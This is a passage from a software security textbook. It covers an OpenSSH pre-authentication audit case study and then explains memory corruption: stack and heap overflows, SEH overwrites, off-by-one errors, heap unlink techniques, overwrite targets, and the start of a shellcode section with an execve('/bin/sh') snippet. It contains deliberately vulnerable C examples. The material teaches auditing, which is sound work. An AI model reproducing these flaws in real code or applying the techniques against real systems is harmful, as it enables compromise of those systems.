whom. As mentioned earlier, you apply your knowledge of threat modeling to identify the major attack vectors. In the OpenSSH server example, the application is exposed to three main classes of users:  Administrator This user has permissions to start and stop the SSH server and modify the configuration file.  Authenticated users This class of users can log in remotely and start a shell interactively.  Unauthenticated users This class of users doesn't have valid credentials and shouldn't be able to do anything. In this audit, you're largely uninterested in the administrator and authenticated user classes; you want to focus on remote unauthenticated users. You need to begin collecting SSH documentation to get an idea of how an SSH server works, the protocol constraints it has to work within and the exposure level available to each user class. In this case, the SSH RFCs are particularly useful. After a brief search on www.ietf.org, you can find the following RFCs:  RFC 4250 The Secure Shell (SSH) Protocol Assigned Numbers (www.ietf.org/rfc/rfc4250.txt)  RFC 4251 The Secure Shell (SSH) Protocol Architecture (www.ietf.org/rfc/rfc/4251.txt)  RFC 4252 The Secure Shell (SSH) Authentication Protocol (www.ietf.org/rfc/rfc4252.txt)  RFC 4253 The Secure Shell (SSH) Transport Layer Protocol (www.ietf.org/rfc/rfc4253.txt)  RFC 4254 The Secure Shell (SSH) Connection Protocol (www.ietf.org/rfc/rfc4254.txt) Looks like a lot of reading! Fortunately, you can skim over a lot of the details, as long as you make sure you grasp the basic architecture of an SSH server and how SSH clients and servers communicate. Before you go any further, you need some insight into the architecture of the OpenSSH server code. When you unpack the source, you'll notice that all the source files unpack into one directory. Because there's no neat directory structure hinting at how the application is designed, you need to start from the main() function in the SSH server and examine the code briefly. This cursory look indicates several subsystems you need to be familiar with to analyze the code in more depth:  Buffer subsystem Manages binary data streams for both input and output. All code for managing these buffers is in buffer.c and bufaux.c. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 175  Packet subsystem Deals with transmitting and receiving packets. Most of the packet subsystem is a wrapper for buffer functions, with the exception of I/O functions. The code for dealing with packets is in packet.c.  Crypto subsystem Each supported cryptography algorithm is represented by a structure defining key elements of the algorithm, such as encryption/decryption routines, key sizes, and so on. This code is in cipher.c.  Privilege separation When you read any code and documentation about OpenSSH, you'll discover a mechanism known as "privilege separation" that attempts to minimize the chances of exploitable vulnerabilities gaining much access to the target system. It works by forking two processes to handle each connection: an unprivileged child dealing with network data and a privileged parent that can authenticate users based on requests from the child. Most of the code for privilege separation is in monitor.c and monitor_wrap.c. You should also figure out what functionality you're going to focus the audit on, which should be clear after doing the brief code inspection. You want to focus on code that can be triggered by remote unauthenticated users, which means you probably want to cover the following code portions:  Low-level packet handling routines (a more in-depth vulnerability analysis of the buffer and packet reception routines)  Identification exchange (initial identification exchange as defined by the SSH protocolin sshd.c)  Session setup (proposal and key exchangespans multiple files)  Compression handling (SSH supports compression by default, located in compress.c)  Authentication (spans multiple files, all beginning with auth- or auth2-). Note that authentication data is extracted in the child and handled in the server, so you need to examine both sides. Finally, make note of any objects that are used. Given that you're concerned only with preauthentication routines, you need to examine very few objects. The relevant ones are listed here:  Configuration file Obviously, remote unauthenticated users can't read or write to this file or affect it in any way. You should familiarize yourself with what options are available and what default options are set, however.  Local privilege separation socket The parent and child processes in a privilege separation relationship communicate via a local socket. You don't need to worry much about this object because you can't influence how it is accessed.  Remote client socket This object addresses how you can communicate with the server.  Various authentication files Various forms of authentication examine local files for authentication datahost entries, keys, and so on. Some files you examine could be system files, and others are files in a user's home directory. If you The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 176 already had an account on the system and were using SSH to leverage elevated privileges, parsing and interpreting these files would be significant. However, you're not considering that case for this example.  External application invocation OpenSSH can be made to invoke external applications, even before authentication has been established. For example, on BSD systems, the BSD authentication mechanism can be used, which calls a user-defined login program that is responsible for deciding whether a user is authenticated. For this example, you can ignore these invocations, although a thorough audit would involve some examination of them. Implementation Analysis Now that you have spent time doing information gathering, it's time to move on to the code audit. To begin, you look through the exposed functionality you identified in the preassessment phase. You now have enough context to start with the lowest-level routines and work upward, so you would start with the packet and buffer-handling routines. You attempt to identify bugs that fall into your known vulnerability classes, such as integer-related vulnerabilities, memory management problems, and so forth. It's also helpful to note quirky behavior that certain parts of the application exhibit and see whether that behavior creates a vulnerability at any point. After going over the OpenSSH code, you might note some of the following behaviors:  The fatal() function could provide a useful application-specific candidate point (CP6). It doesn't exit the application directly; it does a series of cleanups to prevent memory leaks and so forth when it calls cleanup_exit(). Could this function be a problem if something it cleaned up were in an inconsistent state? (It has been in the past.)  A simple lexical candidate point search (CP3) determines that nearly every length parameter is unsigned; it's unlikely that signed integer vulnerabilities will be found.  Code comprehension strategies identify the consistent use of a buffer structure. Buffer overflows seem unlikely due to the consistent use of these buffer mechanisms.  You might want to do a candidate point search to identify double free() vulnerabilities. They seem possible, as many routines allocate a large number of data structures and have cleanup parts at the end. Maybe there's a place where one buffer is freed that's never allocated?  Code comprehension strategies identify that authentication success or failure is often indicated by a return value of 1 or 0. Is another value ever returned from an authentication function accidentally?  Code comprehension and design generalization strategies reveal that multistage authentication algorithms could have state problems. What if you repeat stages or skip stages? Is it possible? Doing so could lead to double free() vulnerabilities, memory leaks, and inconsistent variable states. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 177 You should note several other behaviors when walking through the code. If you're unsure about some vulnerability classes mentioned in the preceding list, don't worry. They are covered in later chapters throughout the book. With your series of informal mental notes combined with formal techniques introduced throughout the book, you can analyze the code in depth for each vulnerability class, making sure to consider each code path carefully. High-Level Attack Vectors A higher-level analysis of the code can help you discover potential flaws in the application's logic and design. The OpenSSH specification seems to leave the possibility open for a number of higher-level logic and design vulnerabilities. You don't have a threat model; however, you can identify some basic attack vectors from the RFCs you've read and your current knowledge of the implementation. SSH Protocol Attack Vectors Before authentication, the identification exchange, proposal, and session setup phases take place. During this period, the SSH server and client agree on a number of supported parameters for the session and establish a secure channel. When attempting to attack this code, you would need to consider some of the following points:  Sniffing SSH communications are encrypted mainly to prevent third parties from snooping on a session. Therefore, you need to see whether there's any way to break that encryption. In performing an audit, often you assume the effectiveness of a publicly validated encryption protocol. However, that doesn't necessarily mean the protocol is being used safely. You might want to look at session establishment and see whether an observer can learn secret keys from watching a proposal and session setup.  Man in the middle Can an observer masquerade as a server and glean login credentials from clients without their knowledge?  Protocol quirks What interesting quirks does the protocol allow? For example, does it provide backward compatibility with previous, less secure versions of the protocol? If so, undermining security by forcing the use of old protocol features or authentication mechanisms might be possible.  Protocol state Examine how OpenSSH deals with the state of messages. Does the server ever attempt to handle messages sent at inappropriate stages? Also, at various points throughout SSH negotiation, it's legal to receive any of a number of different messages, which can lead to complicated and unpredictable code paths. Login Attack Vectors The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 178 Logging in is the most crucial element of the SSH server. If any login mechanisms don't work correctly, remote attackers could gain local access to the machine the server resides on. Some things to consider when evaluating the authentication components of OpenSSH include the following:  Brute-forcing Can accounts be brute-forced? Are mechanisms in place to prevent remote attackers from trying millions of different passwords on a username (dictionary attacks)?  Multistage authentication Can any multistage authentication modules be tricked into giving access by sending out state requests? This consideration ties in with your work in assessing the protocol state attack vectors.  Disabled accounts Does the OpenSSH server recognize that certain system accounts are intended to be disabled? For example, can users who have the shell /bin/false log in?  File-based authentication A lot of authentication mechanisms require checking files on the local file system. For example, key-based authentication verifies users by checking key files in their home directories, and rhosts authentication checks a local file to see whether users can log in without a password if they're coming from a valid host. Is there any way to fool these authentication protocols into reading the wrong files, such as privileged files or authentication files for other users?  Incorrectly set up authentication Many authentication mechanisms (such as Kerberos) require administrators to configure the machine correctly before authentication can be established successfully. Can an enabled authentication mechanism that isn't set up correctly (or at all) yield access to the machine?  Incorrectly functioning authentication Most authentication mechanisms OpenSSH uses are industry-accepted and standardized mechanisms, such as BSD authentication, password authentication, Kerberos, and public key authentication. That doesn't necessarily mean the modules function correctly, however. Can the program allow an unauthorized authentication bypass? The most likely cause of this problem is incorrectly interpreting global structures that are in an inconsistent state or misinterpreting return values. This consideration ties in with your work in assessing the protocol state attack vectors. Documentation of Findings After the analysis is finished, you can write up your findings in the manner discussed in the "Documentation and Analysis(? [????.])" section of this chapter. This documentation includes locations of any vulnerabilities you identified, such as the pertinent details identified in this case study. 6.4.12 Summary The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 179 Taking a given application and performing a detailed security assessment is a complex task. To know how to address this complexity, you learned an iterative process for isolating application components and identifying security issues. You also learned a range of strategies and techniques for performing and managing your assessment efforts. This review process assists you in examining each application in a thorough and systematic manner and directing your review efforts to where they make the most impact. 7. Part II: Software Vulnerabilities 7.1 Chapter 5. Memory Corruption "Nearly all men can stand adversity, but if you want to test a man's character, give him power." Abraham Lincoln 7.1.1 Introduction In this book, you're asked to accept one basic assumptionthat all memory corruption vulnerabilities should be treated as exploitable until you can prove otherwise. This assumption might seem a bit extreme, but it's a useful perspective for a code auditor. Attackers can often leverage an out-of-bounds memory write to modify a program's runtime state in an arbitrary manner, thus violating any security policy an application should be enforcing. However, it's hard to accept the severity of memory corruption vulnerabilities or even understand them until you have some knowledge of how memory corruption is exploited. Exploit creation and software auditing are two differentbut highly complementaryskill sets. An auditor with a good understanding of exploit development is more effective, as this knowledge is useful for determining the difference between an innocuous bug and a genuine vulnerability. There are many well-documented techniques for exploiting memory corruption vulnerabilities, and this chapter provides a brief introduction to some basic approaches for the Intel x86 architecture (although the concepts are applicable to all architectures). Along with exploit techniques, you learn more details about anti-exploit technologies and strategies for determining exploitability. The coverage is not intended as a definitive guide to exploiting memory The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 180 corruption vulnerabilities, but it does provide the background you need to understand and appreciate many of the vulnerabilities covered throughout this book. Note Readers interested in learning more about exploiting memory corruption vulnerabilities should pick up The Shellcoder's Handbook (Wiley, 2004(? [????.])) by Jack Koziol et al. or Exploiting Software (Addison-Wesley, 2004(? [????.])) by Greg Hoglund and Gary McGraw. You can also find numerous online resources about exploitation techniques, such as phrack magazine (www.phrack.org) and Uninformed magazine (www.uninformed.org). 7.1.2 Buffer Overflows You're probably familiar with the term "buffer overflow," but if not, a buffer overflow is a software bug in which data copied to a location in memory exceeds the size of the reserved destination area. When an overflow is triggered, the excess data corrupts program information adjacent to the target buffer, often with disastrous consequences. Buffer overflows are the most common type of memory corruption. If you're not familiar with how these bugs are exploited, they almost seem to defy logic and somehow grant an attacker complete access to a vulnerable system. But how do they work? Why are they such a threat to system integrity? And why don't operating systems just protect memory from being corrupted altogether? To answer these questions, you need to be familiar with program internals and how the CPU and OS manage processes. Note Some of the vulnerabilities in this book are more complex memory corruption vulnerabilities that aren't technically buffer overflows, but share many of the same characteristics. This discussion of exploitability is largely applicable to these types of issues, especially the "Assessing Memory Corruption Impact(? [????.])" section later in this chapter. Process Memory Layout A process can be laid out in memory in any way the host OS chooses, but nearly all contemporary systems observe a few common conventions. In general, a process is organized into the following major areas: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 181  Program code This section contains executable program instructions that can be interpreted by the processor and acted on. Program code includes compiled code for the running program and additional code located in shared libraries the program uses. Shared libraries aren't usually mapped contiguously with the main program code.  Program data This section is used to store program variables that aren't local to functions. It includes both global and static variables. The data section usually contains a dynamic memory region, called the "program heap," for storing dynamically allocated variables.  Program stack The stack is used for dynamic storage for currently executing functions, and it keeps track of the call chain of functions as they execute. Although this is a high-level view of how process memory is organized, it shows how the impact of a buffer overflow vulnerability varies based on where the buffer is located. The following sections address common and unique attack patterns associated with each location. Stack Overflows Stack overflows are buffer overflows in which the target buffer is located on the runtime program stack. They are the most well understood and, historically, the most straightforward type of buffer overflow to exploit. This section covers the basics of the runtime program stack and then shows how attackers exploit stack-based buffer overflows. The Stack ADT From a general computer science perspective, a stack is an abstract data type (ADT) used for the ordered storage and retrieval of a series of data elements. Users of a stack data structure typically have two operations available for manipulating the stack:  push() The push operation adds an element to the top of the stack.  pop() A pop operation removes and returns the top element from the stack. A stack is a last-in, first-out (LIFO) data structure. You can think of it like a physical stack of dishes. You can place a dish on top of the stacka push() operationand you can take a dish off the top of the stacka pop() operation. You cannot, however, directly remove a dish from the middle of the stack without first removing the dishes on top of it. The Runtime Stack The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 182 Each process has a runtime stack, which is also referred to as "the program stack," "the call stack," or just "the stack." The runtime stack provides the underpinning necessary for the functions used in every structured programming language. Functions can be called in arbitrary order, and they can be recursive and mutually recursive. The runtime stack supports this functionality with activation records, which record the chain of calls from function to function so that they can be followed back when functions return. An activation record also includes data that needs to be allocated each time a function is called, such as local variables, saved machine state, and function parameters. Because runtime stacks are an integral part of how programs function, they are implemented with CPU assistance instead of as a pure software abstraction. The processor usually has a special register that points to the top of the stack, which is modified by using push() and pop() machine instructions. On Intel x86 CPUs, this register is called ESP (ESP stands for "extended stack pointer"). On most modern CPUs, the stack grows downward. This means the stack starts at a high address in virtual memory and grows toward a lower address. A push operation subtracts from the stack pointer so that the stack pointer moves toward the lower end of process memory. Correspondingly, the pop operation adds to the stack pointer, moving it back toward the top of memory. Every time a function is called, the program creates a new stack frame, which is simply a reserved block of contiguous memory that a function uses for storing local variables and internal state information. This block of memory is reserved for exclusive use by the function until it returns, at which time it's removed from the stack. To understand this process, consider the following program snippet: int function_B(int a, int b) { int x, y; x = a * a; y = b * b; return (x+y); } int function_A(int p, int q) { int c; c = p * q * function_B(p, p); return c; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 183 int main(int argc, char **argv, char **envp) { int ret; ret = function_A(1, 2); return ret; } When function_A() is entered, a stack frame is allocated and placed on the top of the stack, as shown in Figure 5-1. Figure 5-1. Stack while in function_A() This diagram is a simplified view of the program stack, but you can see the basic stack frame layout when the main() function has called function_A(). Note Figures 5-1 and 5-2 might seem confusing at first because the stack appears to be growing upward rather than downward; however, it's not a mistake. If you imagine a The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 184 memory address space beginning at 0 and extending downward to 0xFFFFFFFF, a lower memory address is closer to 0 and, therefore, appears higher on the diagram. Figure 5-2. Stack while in function_B() Figure 5-2 shows what the stack would look like after function_A() calls function_B(). When function_B() is finished, it returns back into function_A(). The function_B() stack frame is popped off the top of the stack, and the stack again looks like it does in Figure 5-1. This simply means the value of ESP is restored to the value it had when function_B() was called. Note The stack diagrams in Figures 5-1 and 5-2 are simplified representations. In fact, main() is not the first function on the call stack. Usually, functions are called before main() to set up the environment for the process. For example, glibc Linux systems usually begin with a function named _start(), which calls _libc_start_main(), which in turn calls main(). The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 185 Each function manages its own stack frame, which is sized depending on how many local variables are present and the size of each variable. Local variables need to be accessed directly as the function requires them, which would be inefficient just using push and pop instructions. Therefore, many programs make use of another register, called the "frame pointer" or "base pointer." On Intel x86 CPUs, this register is called EBP (EBP stands for "extended base pointer"). This register points to the beginning of the function's stack frame. Each variable in the given frame can be accessed by referencing a memory location that is a fixed offset from the base pointer. The use of the base pointer is optional, and it is sometimes omitted, but you can assume that it's present for the purposes of this discussion. A crucial detail that was glossed over earlier is the internal state information recorded in each stack frame. The state information stored on the stack varies among processor architectures, but usually it includes the previous function's frame pointer and a return address. This return address value is saved so that when the currently running function returns, the CPU knows where execution should continue. Of course, the frame pointer must also be restored so that local variable accesses remain consistent after a function has called a subfunction that allocates its own stack frame. Function-Calling Conventions A calling convention describes how function parameters are passed to a function and what stack maintenance must be performed by the calling and called functions. The section "The Runtime Stack" earlier in this chapter addresses the most popular type of calling convention; however, calling conventions vary with processor architectures, OSs, and compilers. Compilers can switch between calling conventions for optimization purposes; for example, one popular optimized x86 calling convention is the fastcall. The fastcall passes function parameters in registers when possible, which can speed up variable access and reduce stack maintenance overhead. Each compiler has a slightly different version of the fastcall. Language features can also introduce different calling conventions. A typical C++ class member function requires access to the class instance's this pointer. On Windows x86 systems, the this pointer is passed in the ECX register for functions with a fixed number of parameters. In contrast, the GCC C++ compiler passes the this pointer as the last parameter pushed onto the stack. The stack pointer must also be restored to its previous state, but this task isn't performed implicitly; the called function must reset the stack pointer to the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 186 appropriate location before it returns. This is necessary because the saved frame pointer and return address are restored from the top of the stack. The frame pointer is restored by using a pop instruction, which uses the stack pointer implicitly; the ret instruction used to return from a function also uses ESP implicitly to retrieve the return address. Each function that allocates its own stack frame, therefore, needs to save its own frame pointer. Listing 5-1 shows a typical function prologue on Intel machines for saving the frame pointer. Listing 5-1. Function Prologue text:5B891A50 mov edi, edi text:5B891A52 push ebp text:5B891A53 mov ebp, esp The prologue doesn't require that the caller specifically push the return address onto the stack; this task is done by the call instruction. So the stack layout when function_B() is called looks like Figure 5-3. Figure 5-3. Detailed stack layout [View full size image] The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 187 Note You might notice that the prologue in Listing 5-1 includes a seemingly useless instruction (mov edi, edi). This instruction is actually a placeholder added to ease runtime patching for system monitoring and debugging. Exploiting Stack Overflows As you can see, local variables are in close proximity to each otherin fact, they are arranged contiguously in memory. Therefore, if a program has a vulnerability allowing data to be written past the end of a local stack buffer, the data overwrites adjacent variables. These adjacent variables can include other local variables, program state information, and even function arguments. Depending on how many bytes can be written, attackers might also be able to corrupt variables and state information in previous stack frames. Note The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 188 Compilers sometimes add padding between one variable and the next, depending on several factors such as optimization levels and variable sizes. For the purposes of this discussion, you can consider variables to be contiguous. To begin, consider the simple case of writing over a local variable. The danger with writing over a local variable is that you can arbitrarily change the variable's value in a manner the application didn't intend. This state change can often have undesirable consequences. Consider the example in Listing 5-2. Listing 5-2. Off-by-One Length Miscalculation int authenticate(char *username, char *password) { int authenticated; char buffer[1024]; authenticated = verify_password(username, password); if(authenticated == 0) { sprintf(buffer, "password is incorrect for user %s\n", username); log("%s", buffer); } return authenticated; } Assume that the authenticated variable is located at the top of the stack frame, placing it at a higher memory location than the buffer variable. The function's stack looks like Figure 5-4. Figure 5-4. Stack frame of authenticate() before exploit The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 189 Note Figure 5-4 demonstrates one possible layout for Listing 5-2; however, you can't conclusively determine from source code how variables are ordered internally in a stack frame. The compiler can (and often does) reorder variables for optimization purposes. The authenticate() function has a buffer overflow. Specifically, the sprintf() function doesn't limit the amount of data it writes to the output buffer. Therefore, if the username string is around 1024 bytes, data is written past the end of the buffer variable and into the authenticated variable. (Remember that authenticated() is at the top of the stack frame.) Figure 5-5 shows what happens when the overflow is triggered. Figure 5-5. Stack frame of authenticate() after exploit The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 190 The authenticated variable is a simple state variable, indicating whether the user was able to successfully log on. A value of zero indicates that authentication failed; a nonzero value indicates success. By overflowing the buffer variable, an attacker can overwrite the authenticated variable, thus making it nonzero. Therefore, the caller incorrectly treats the attacker as successfully authenticated! Overwriting adjacent local variables is a useful technique, but it's not generally applicable. The technique depends on what variables are available to overwrite, how the compiler orders the variables in memory, and what the program does with them after the overflow happens. A more general technique is to target the saved state information in every stack framenamely, the saved frame pointer and return address. Of these two variables, the return address is most immediately useful to attackers. If a buffer overflow can overwrite the saved return address, the application can be redirected to an arbitrary point after the currently executing function returns. This process is shown in Figure 5-6. Figure 5-6. Overwriting the return address The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 191 Essentially, the attacker chooses an address in the program where some useful code resides and overwrites the return address with this new address. The exact location depends on what the attacker wants to achieve, but there are two basic options:  Execution can be redirected to the code section of the application being run or to some code in a shared library that does something usefulfor example, the system() function in UNIX libc, which runs commands via the shell.  Execution can be redirected to an area of memory containing data the attacker controls, such as a global variable, a stack location, or a static buffer. In this situation, the attacker fills the targeted return location with a small stub of position-independent code to do something useful, such as connecting back to the attacker and spawning a shell on the connected socket. These small code stubs are commonly referred to as shellcode. SEH Attacks Windows systems can be vulnerable to a slight variation on the traditional stack overflow attacks; this variation is known as "smashing the structured exception handlers." Windows provides structured exception handling (SEH) so that programs can register a handler to act on errors in a consistent manner. When a thread causes an exception to be thrown, the thread has a chance to catch that exception and recover. Each time a function registers an exception handler, it's placed at the top of a chain of currently registered exception handlers. When an exception is thrown, this chain is traversed from the top until the correct handler type is found for the thrown exception. If no appropriate exception handler is found, the exception is passed to an "unhandled exception filter," which generally terminates the process. Note The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 192 Exception handling is a feature of a number of languages and was popularized by the C++ programming language. Although C++ exception handling (EH) is significantly more complex than the basic Windows SEH mechanism, C++ exceptions in Windows are implemented on top of SEH. If you would like to learn more about Windows C++ exception handling, you should check out the write-up at www.openrce.org/articles/full_view/21. SEH provides a convenient method for exploiting stack overflows on a Windows system because the exception handler registration structures are located on the stack. Each structure has the address of a handler routine and a pointer to its parent handlers. These structures are shown in Figure 5-7. Figure 5-7. Windows SEH layout [View full size image] When an exception occurs, these records are traversed from the most recently installed handler back to the first one. At each stage, the handler is executed to determine whether it's appropriate for the currently thrown exception. (This explanation is a bit oversimplified, but there's an excellent paper describing the process at www.microsoft.com/msj/0197/exception/exception.aspx.) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 193 Therefore, if an attacker can trigger a stack overflow followed by any sort of exception, these exception registration structures are examined, and the exception handler address in each structure is called until an appropriate one is found. Because they are structures on the attacker-corrupted stack, the application jumps to an address of the attacker's choosing. When it's possible to overflow a buffer by a fairly large amount, the attacker can copy over the entire stack, resulting in an exception when the stack base is overwritten. The application then uses the corrupted SEH information on the stack and jumps to an arbitrary address. This process is depicted in Figure 5-8. Figure 5-8. SEH exploit [View full size image] Off-by-One Errors Memory corruption is often caused by calculating the length of an array incorrectly. Among the most common mistakes are off-by-one errors, in which a length calculation is incorrect by one array element. This error is typically caused by failing to account for a terminator element or misunderstanding the way array indexing works. Consider the following example: ... void process_string(char *src) { char dest[32]; for (i = 0; src[i] && (i <= sizeof(dest)); i++) dest[i] = src[i]; ... The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 194 The process_string() function starts by reading a small number of characters from its argument src and storing them to the stack-based buffer dest. This code attempts to prevent a buffer overflow if src has more than 32 characters, but it has a simple problem: It can write one element out of bounds into dest. Array indexes begin with 0 and extend to sizeof(array) - 1, so an array with 32 members has valid array indexes from 0 through 31. The preceding code indexes one element past the end of dest, as the condition controlling the loop is (i <= sizeof(dest)) when it should be (i < sizeof(dest)). If i is incremented to a value of 32 in the vulnerable code, it passes the length check, and the program sets dest[32] equal to src[32]. This type of issue surfaces repeatedly in code dealing with C strings. C strings require storage space for each byte of the string as well as one additional byte for the NUL character used to terminate the string. Often this NUL byte isn't accounted for correctly, which can lead to subtle off-by-one errors, such as the one in Listing 5-3. Listing 5-3. Off-by-One Length Miscalculation int get_user(char *user) { char buf[1024]; if(strlen(user) > sizeof(buf)) die("error: user string too long\n"); strcpy(buf, user); ... } This code uses the strlen() function to check that there's enough room to copy the username into the buffer. The strlen() function returns the number of characters in a C string, but it doesn't count the NUL terminating character. So if a string is 1024 characters according to strlen(), it actually takes up 1025 bytes of space in memory. In the get_user() function, if the supplied user string is exactly 1024 characters, strlen() returns 1024, sizeof() returns 1024, and the length check passes. Therefore, the strcpy() function writes 1024 bytes of string data plus the trailing NUL character, causing one byte too many to be written into buf. You might expect that off-by-one miscalculations are rarely, if ever, exploitable. However, on OSs running on Intel x86 machines, these errors are often exploitable because you can overwrite the least significant byte of the saved frame pointer. As you already know, during the course of program execution, each function allocates a stack frame for local variable storage. The address of this stack frame, known as the base pointer or frame pointer, is kept in the register EBP. As part of the function The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 195 prologue, the program saves the old base pointer to the stack, right next to the return address. If an off-by-one buffer overflow is triggered on a buffer located directly below the saved base pointer, the NUL byte is written one byte past the end of the buffer, which corresponds to the least significant byte of the saved base pointer. This means when the function returns, the restored base pointer is incorrect by up to 255 bytes, as shown in Figure 5-9. Figure 5-9. Off-by-one stack frame [View full size image] If the new base pointer points to some user-controllable data (such as a character buffer), users can then specify local variable values from the previous stack frame as well as the saved base pointer and return address. Therefore, when the calling function returns, an arbitrary return address might be specified, and total control over the program can be seized. Off-by-one errors can also be exploitable when the element is written out of bounds into another variable used by that function. The security implications of the off-by-one error in this situation depend on how the adjacent variable is used subsequent to the overflow. If the variable is an integer indicating size, it's truncated, and the program could make incorrect calculations based on its value. The adjacent variable might also affect the security model directly. For example, it might be a user ID, allowing users to receive permissions they aren't entitled to. Although these types of exploits are implementation specific, their impact can be just as severe as generalized attacks. Heap Overflows The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 196 Heap overflows are a more recent advance in exploitation. Although common now, general heap exploitation techniques didn't surface until July 2000. These techniques were originally presented by an accomplished security researcher known as Solar Designer. (His original advisory is available at www.openwall.com/advisories/OW-002-netscape-jpeg/.) To understand how heap exploitation works, you need to be familiar with how the heap is managed. The following sections cover the basics of heap management and show how heap-based buffer overflows are exploited. Heap Management Although heap implementations vary widely, some common elements are present in most algorithms. Essentially, when a call to malloc() or a similar allocation routine is made, some memory is fetched from the heap and returned to the user. When this memory is deallocated by using free(), the system must mark it as free so that it can be used again later. Consequently, state must be kept for regions of memory that are returned to the callers so that memory can be handed out and reclaimed efficiently. In many cases, this state information is stored inline. Specifically, most implementations return a block of memory to the user, which is preceded by a header describing some basic characteristics of the block as well as some additional information about neighboring memory blocks. The type of information in the block header usually includes the following:  Size of the current block  Size of the previous block  Whether the block is free or in use  Possibly some additional flags Note BSD systems manage heap memory differently from most other OSs. They store most block information out of band. Free blocks are often chained together using a standard data structure, such as a singly or doubly linked list. Most heap implementations define a minimum size of a block big enough to hold pointers to previous and next elements in a list and use this space to hold pointers when the block isn't in use. Figure 5-10 is an example of the two basic block structures specific to glibc malloc() implementations. Figure 5-10. Glibc heap structure The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 197 Note that the organization of blocks in this way means that triggering an overflow results in corrupting header information for allocated memory chunks as well as list management data. Exploiting Heap Overflows As you might have guessed, the ability to modify header data and list pointers arbitrarily (as when a buffer overflow occurs) gives attackers the opportunity to disrupt the management of heap blocks. These disruptions can be used to manipulate block headers to gain reliable arbitrary execution by leveraging the heap maintenance algorithms, especially list maintenance of free blocks. After its initial discovery by Solar Designer, this process was described in depth in Phrack 57 (www.phrack.org/phrack/57/p57-0x09). The following list summarizes the standard technique: 1. Blocks marked as free are assumed to contain list pointers to next and previous blocks in the free chunks list. 2. When a block is freed, it's often coalesced with adjacent blocks if they are also free. 3. Because two blocks are being merged into one, the heap algorithm removes the next chunk that was originally on the free list, adjusts the size of the chunk being freed to reflect that it's now bigger, and then adds the new larger chunk onto the free list. 4. An overflow on the heap is used to mark the next chunk as free so that it's later unlinked from the free list. 5. The overflow buffer sets the list pointers in the corrupted chunk to locations useful to an attacker. 6. When the unlink operation is performed, an attacker-supplied, fixed-size value is written to an attacker-determined memory location. To understand why unlinking a chunk leads to an arbitrary overwrite, consider the following code for unlinking an element from a doubly linked list: int unlink(ListElement *element) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 198 { ListElement *next = element->next; ListElement *prev = element->prev; next->prev = prev; prev->next = next; return 0; } This code removes a ListElement by updating pointers in adjacent elements of the list to remove references to the current element, element. If you could specify the element->next and element->prev values, you would see that this code unwittingly updates arbitrary memory locations with values you can control. This process is shown before unlinking in Figure 5-11 and after unlinking in Figure 5-12. Figure 5-11. Linked list before unlink operation [View full size image] Figure 5-12. Linked list after unlink operation [View full size image] Being able to overwrite a memory location with a controllable value is usually all that attackers need to gain control of a process. Many useful values can be overwritten to enable attackers to compromise the application. A few popular targets include the following:  Global offset table (GOT)/process linkage table (PLT) UNIX ELF binaries use several loader structures to resolve called functions from libraries into addresses. These structures enable shared libraries to be located anywhere in memory so that the application doesn't need static addresses for API functions at compile time. By targeting these structures, attackers can redirect The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 199 execution to an arbitrary location when a certain API function is called (for example, free()).  Exit handlers Exit handlers are a table of function pointers that are called when the process exits in a UNIX OS. By overwriting one of these values, it's possible to gain arbitrary execution when the process calls the exit() function or returns from the main() function.  Lock pointers Windows uses a set of function pointers in the process environment block (PEB) to prevent unsynchronized modification of process information by competing threads. These lock pointers can be overwritten and then triggered by certain types of exceptional conditions.  Exception handler routines The Windows PEB maintains an address for the unhandled exception filter routine. This routine is called when an exception isn't handled successfully by any other exception handler. A common technique is to use the list maintenance code to overwrite the unhandled exception routine when updating one part of the list (such as the previous element) and then cause a memory access violation when updating the other part of the list (the next element). This technique ensures that the unhandled exception filter is called immediately, assuming that another exception handler doesn't successfully catch the resulting access violation exception.  Function pointers Applications use function pointers for various reasons, such as calling functions from dynamically loaded libraries, for C++ virtual member functions, or for abstracting low-level worker functions in opaque structures. Overwriting application-specific function pointers can provide a reliable exploit against an application. Global and Static Data Overflows Global and static variables are used to store data that persists between different function calls, so they are generally stored in a different memory segment than stack and heap variables are. Normally, these locations don't contain general program runtime data structures, such as stack activation records and heap chunk data, so exploiting an overflow in this segment requires application-specific attacks similar to the vulnerability in Listing 5-2. Exploitability depends on what variables can be corrupted when the buffer overflow occurs and how the variables are used. For example, if pointer variables can be corrupted, the likelihood of exploitation increases, as this corruption introduces the possibility for arbitrary memory overwrites. 7.1.3 Shellcode Buffer overflows are usually exploited by directing execution to a known location in memory where attacker-controlled data is stored. For an exploit to be successful, this location must contain executable machine code that allows attackers to perform malicious activities. This is achieved by constructing small snippets of machine code designed to launch a shell, connect back to the originating user, or do whatever the attacker chooses. At the time of this writing, the most common trend in shellcode The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 200 construction uses stubs capable of loading additional components on demand over a connected socket, as needed by an attacker on the other end. Writing the Code At the most basic level, shellcode is a small chunk of position-independent code that uses system APIs to achieve your objectives. To see how this is done, consider the simple case of spawning a shell in UNIX. In this case, the code you want to run is roughly the following: char *args[] = { "/bin/sh", NULL }; execve("/bin/sh", args, NULL); This simple 